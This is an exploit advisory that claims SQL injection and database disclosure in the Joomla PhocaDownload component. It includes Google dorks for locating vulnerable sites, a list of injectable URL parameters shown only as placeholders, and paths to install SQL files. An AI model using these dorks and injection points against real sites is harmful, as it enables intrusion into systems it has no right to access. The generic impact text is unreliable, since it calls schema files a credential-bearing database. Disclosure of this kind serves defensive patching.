####################################################################

# Exploit Title : Joomla PhocaDownload Components 3.1.7 SQL Injection / Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/02/2019
# Vendor Homepage : phoca.cz
# Software Download Links : phoca.cz/download/category/4-phoca-download-component
github.com/PhocaCz/PhocaDownload/releases/download/3.1.7/com_phocadownload_v3.1.7.zip
github.com/PhocaCz/PhocaDownload/releases/download/2.1.9/com_phocadownload_v2.1.9.zip
github.com/PhocaCz/PhocaDownload/releases/download/1.3.9/com_phocadownload_v1.3.9.zip
# Software Information Link : extensions.joomla.org/extension/phoca-download/
# Software Versions : 1.3.9, 2.1.9, 3.1.5, 3.1.7
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_phocadownload''
intext:Powered by Phoca Download
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
Phoca Download is download manager for Joomla! CMS. It includes 

component, modules and plugins and allows displaying files on website 

which can be downloaded (previewed, played) by website visitiors.

Downloaded files are listed in Statistics View (administration).

####################################################################

# Impact :
***********

Joomla PhocaDownload 3.1.7 component for Joomla and other previous versions 

is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize 

user-supplied data before using it in an SQL query. 

Exploiting this issue could allow an attacker to compromise the application, 

access or modify data, or exploit latent vulnerabilities in the underlying database.

A remote attacker can send a specially crafted request to the vulnerable application 

and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

* This Software prone to an information exposure/database disclosure vulnerability. 

Successful exploits of this issue may allow an attacker to obtain sensitive 

information by downloading the full contents of the application's database.

* Any remote user may download the database files and gain access

 to sensitive information including unencrypted authentication credentials.

####################################################################

# SQL Injection Exploit :
**********************
/index.php?option=com_phocadownload&view=category&id=[SQL Injection]

/index.php?option=com_phocadownload&view=category&download=[SQL Injection]

/index.php?option=com_phocadownload&view=categories&Itemid=[SQL Injection]

/index.php?option=com_phocadownload&view=sections&Itemid=[SQL Injection]

/index.php?option=com_phocadownload&view=category&id=[ID-NUMBER]&Itemid=[SQL Injection]

/index.php?option=com_phocadownload&view=category&id=[ID-NUMBER]:[FOLDER-NAME]&Itemid=[SQL Injection]

/index.php?option=com_phocadownload&view=category&id=[ID-NUMBER]::[FOLDER-NAME]&download=[ID-NUMBER]::[FOLDER-NAME]&[ID-NUMBER]&start=[ID-NUMBER]&Itemid=[SQL Injection]

/index.php?option=com_phocadownload&view=category&download=[ID-NUMBER]:[FOLDER-NAME]&id=[ID-NUMBER]:[FOLDER-NAME]&Itemid=[SQL Injection]

# Database Disclosure Exploit :
****************************

/administrator/components/com_phocadownload/install/sql/mysql/.......

/administrator/components/com_phocadownload/install.sql

/administrator/components/com_phocadownload/uninstall.sql

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

####################################################################